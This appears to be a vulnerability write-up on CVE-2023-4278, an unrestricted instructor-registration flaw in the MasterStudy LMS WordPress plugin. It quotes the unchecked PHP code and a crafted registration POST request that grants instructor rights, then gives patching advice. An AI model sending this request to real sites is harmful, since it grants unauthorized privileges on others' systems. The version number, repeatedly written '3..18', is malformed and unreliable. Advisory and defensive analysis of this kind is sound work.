CVE-2023-4278: Unrestricted Instructor Registration in the MasterStudy LMS WordPress Plugin

The MasterStudy LMS WordPress Plugin is a popular Learning Management System (LMS) for educational institutions and online course websites powered by WordPress. It comes with a wide variety of features, including an instructor registration functionality for allowing users to sign up as instructors.

However, a recent security issue was identified in this plugin (versions prior to 3..18) that allows an unauthorized user to register as an instructor, bypassing the intended application permissions and restrictions, which could lead to potentially malicious actions, like adding courses or posting within the website.

We will be taking a closer look at the potential exploit and its details, the code snippet responsible for the vulnerability, and the original references to provide a better understanding of the vulnerability and how to mitigate it.

Code Snippet

The vulnerability lies in the registration process for instructors, where the plugin does not perform proper checks before allowing someone to register as an instructor.

Here's a relevant code snippet from the plugin (prior to version 3..18) that demonstrates the lack of proper checks: (filename: register_form.php)

if (isset($_POST['signup_as_instructor']) && !empty($_POST['signup_as_instructor']) ) {
    update_user_meta($user_id, 'stm_lms_user_role', 'stm_lms_instructor');
}

Due to the absence of proper validation checks, any user that submits the registration form with the signup_as_instructor parameter can become an instructor, even if they have not been given permission to do so.

Exploit Details

To exploit this vulnerability, an attacker can simply input any value into the signup_as_instructor parameter during the registration process, and they will be registered as an instructor on the site.

Below is an example of a crafted HTTP POST request that takes advantage of this vulnerability

POST /wp-login.php?action=register HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: xxxx

user_login=testUser&user_email=testUser%40example.com&signup_as_instructor=1&stm_lms_register_submit=true

The above HTTP request, when sent appropriately, would create a new user in the system, bypassing the proper registration restrictions and granting them instructor status.

Mitigation

To address this vulnerability, it's essential to apply the appropriate checks during registration to ensure that only users granted the necessary permissions are allowed to register as instructors.

In the latest version of the MasterStudy LMS WordPress Plugin (3..18), the issue has been fixed by applying the required validation during the registration process. Updating the plugin to its latest version will ensure that your site stays protected from this vulnerability.

Original References

* CVE: CVE-2023-4278
* WordPress Vulnerability Database: WPScan Vulnerability Database - WPVDB ID 10983

Conclusion

In conclusion, it's essential to stay up-to-date with your WordPress plugins, especially when they govern critical aspects of your site, such as user registration and permissions. By promptly updating the MasterStudy LMS WordPress Plugin to version 3..18 or newer, you can ensure that your site remains secure, and unauthorized users are not allowed to register as instructors.

Timeline

Published on: 09/11/2023 20:15:11 UTC
Last modified on: 11/07/2023 04:22:24 UTC